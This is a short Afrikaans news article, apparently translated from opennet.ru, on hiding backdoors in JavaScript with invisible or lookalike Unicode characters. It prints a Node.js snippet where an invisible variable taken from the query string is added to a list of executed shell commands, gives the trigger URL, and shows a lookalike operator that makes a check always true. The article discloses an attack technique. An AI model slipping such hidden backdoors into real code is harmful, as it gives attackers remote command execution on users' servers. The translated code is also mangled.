Gebruik onsigbare unicode-karakters om aksies in JavaScript-kode te versteek

Na aanleiding van die Trojaanse Bron-aanvalmetode, wat gebaseer is op die gebruik van Unicode-karakters wat die vertoonvolgorde van tweerigtingteks verander, is 'n ander tegniek vir die bekendstelling van verborge aksies gepubliseer, van toepassing op JavaScript-kode. Die nuwe metode is gebaseer op die gebruik van die unicode-karakter β€œγ…€β€ (kode 0x3164, β€œHANGUL FILLER”), wat aan die kategorie letters behoort, maar geen sigbare inhoud het nie. Die Unicode-kategorie waarin hierdie karakter behoort, is sedert die ECMAScript 2015-spesifikasie toegelaat vir gebruik in JavaScript-veranderlikename, wat dit moontlik maak om onsigbare veranderlikes of nuwe veranderlikes te skep wat nie onderskei kan word van ander veranderlikes in gewilde koderedigeerders soos Notepad++ en VS-kode.

As 'n voorbeeld word die kode vir die Node.js-platform gegee, waarin, deur gebruik te maak van 'n veranderlike wat uit 'n enkele karakter "γ…€" bestaan, 'n agterdeur versteek word wat dit moontlik maak om die kode wat deur die aanvaller gespesifiseer is, uit te voer: app.get('/ network_health', async (req, res) = > { const { timeout,γ…€} = req.query; // in werklikheid sΓͺ dit "const { timeout,γ…€ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',γ…€ // die komma word gevolg deur die karakter \u3164 ];

Met die eerste oogopslag word slegs die uittelwaarde deur die eksterne parameter deurgegee, en die skikking met die opdragte wat uitgevoer moet word bevat 'n onskadelike vaste lys. Maar in werklikheid, na die timeout-veranderlike, word die waarde van 'n ander onsigbare veranderlike met die karakterkode \u3164 toegeken, wat ook in die reeks uitvoerbare opdragte vervang word. Dus, as so 'n ontwerp beskikbaar is, kan 'n aanvaller 'n versoek stuur soos "https://host:8080/network_health?%E3%85%A4=command" om die agterdeur te aktiveer en hul kode uit te voer.

Nog 'n voorbeeld is die karakter "Ηƒ" (ALVEOLÊRE KLIK), wat gebruik kan word om die voorkoms te gee dat dit 'n uitroepteken aandui. Byvoorbeeld, die uitdrukking "if(environmentΗƒ=ENV_PROD){" wanneer dit in Node.js 14 uitgevoer word, sal altyd waar wees, aangesien dit nie vir verskil nagaan nie, maar die waarde van ENV_PROD aan die veranderlike "environmentΗƒ" toeken. Ander misleidende unicode-karakters sluit in "/", "βˆ’", "οΌ‹", "β©΅", "❨", "β«½", "κ“Ώ" en "βˆ—".

Bron: opennet.ru

Voeg 'n opmerking